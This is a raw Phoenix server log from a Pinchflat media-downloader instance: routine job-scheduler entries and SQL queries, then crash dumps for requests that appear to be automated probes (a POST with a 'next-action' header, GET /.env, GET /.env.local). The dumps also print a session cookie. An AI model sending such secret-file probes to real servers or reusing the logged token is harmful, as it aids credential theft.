{"source":"oban","duration":220,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:08:16.861 [info] {"source":"oban","duration":743,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:08:46.863 [info] {"source":"oban","duration":736,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:00.551 [info] {"source":"oban","duration":260,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:09:16.864 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:09:46.865 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:00.551 [info] {"source":"oban","duration":232,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:10:16.866 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:10:46.867 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:00.552 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:11:16.868 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:11:46.869 [info] {"source":"oban","duration":633,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:00.554 [info] {"source":"oban","duration":376,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:12:16.870 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:12:46.871 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:00.554 [info] {"source":"oban","duration":167,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:13:16.872 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:13:46.873 [info] {"source":"oban","duration":683,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:00.555 [info] {"source":"oban","duration":203,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 17:14:16.874 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:14:16.887 [info] GET / 17:14:16.887 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:14:16.887 [debug] QUERY OK source="settings" db=0.1ms idle=837.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:16.888 [debug] QUERY OK source="media_profiles" db=0.2ms idle=837.2ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:14:16.888 [debug] QUERY OK source="sources" db=0.0ms idle=837.6ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:14:16.898 [debug] QUERY OK source="media_items" db=9.8ms idle=837.8ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:14:16.898 [debug] QUERY OK source="media_items" db=0.4ms idle=24.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:14:16.899 [debug] QUERY OK source="settings" db=0.1ms idle=11.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:16.899 [debug] QUERY OK source="settings" db=0.1ms idle=11.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:16.900 [debug] QUERY OK source="settings" db=0.1ms idle=11.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:16.901 [debug] QUERY OK source="tasks" db=0.1ms idle=2.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:14:16.901 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:14:16.902 [debug] QUERY OK source="media_items" db=0.7ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:14:16.903 [debug] QUERY OK source="sources" db=0.1ms idle=3.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 17:14:16.908 [debug] QUERY OK source="media_items" db=3.2ms idle=4.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:14:16.909 [debug] QUERY OK source="media_items" db=0.5ms idle=7.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:14:16.909 [debug] QUERY OK source="sources" db=0.1ms idle=7.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 17:14:16.911 [info] Sent 200 in 23ms 17:14:17.720 [info] POST / 17:14:17.720 [debug] QUERY OK source="settings" db=0.1ms idle=817.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:17.721 [debug] QUERY OK source="settings" db=0.1ms idle=812.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:17.721 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:17.721 [error] #PID<0.11767.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 2) terminated Server: pinchflat.8layer8.com:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "7", "content-type" => "application/x-www-form-urlencoded", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "POST", body_length: 7, path_info: :undefined, qs: "", has_body: true, streamid: 2, host_info: :undefined, has_read_body: true }}, assigns: %{}, body_params: %{"check" => "1"}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "POST", owner: #PID<0.11767.0>, params: %{"check" => "1"}, path_info: [], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"content-length", "7"}, {"content-type", "application/x-www-form-urlencoded"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWQMVV6x1SVMABT2B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "7", "content-type" => "application/x-www-form-urlencoded", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "POST", body_length: 7, path_info: :undefined, qs: "", has_body: true, streamid: 2, host_info: :undefined, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "content-length" => "7", "content-type" => "application/x-www-form-urlencoded", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwar (truncated) 17:14:17.992 [info] GET /.env 17:14:17.993 [debug] QUERY OK source="settings" db=0.1ms idle=1083.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:17.993 [debug] QUERY OK source="settings" db=0.0ms idle=1076.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:17.993 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:17.994 [error] #PID<0.11768.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 3) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11768.0>, params: %{}, path_info: [""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsWRNU-wv_EHEABT4B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 3, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY (truncated) 17:14:18.265 [info] GET /.env.local 17:14:18.266 [debug] QUERY OK source="settings" db=0.1ms idle=545.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:18.266 [debug] QUERY OK source="settings" db=0.1ms idle=545.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:18.266 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:18.267 [error] #PID<0.11769.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 4) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /.env.local ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.local", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => 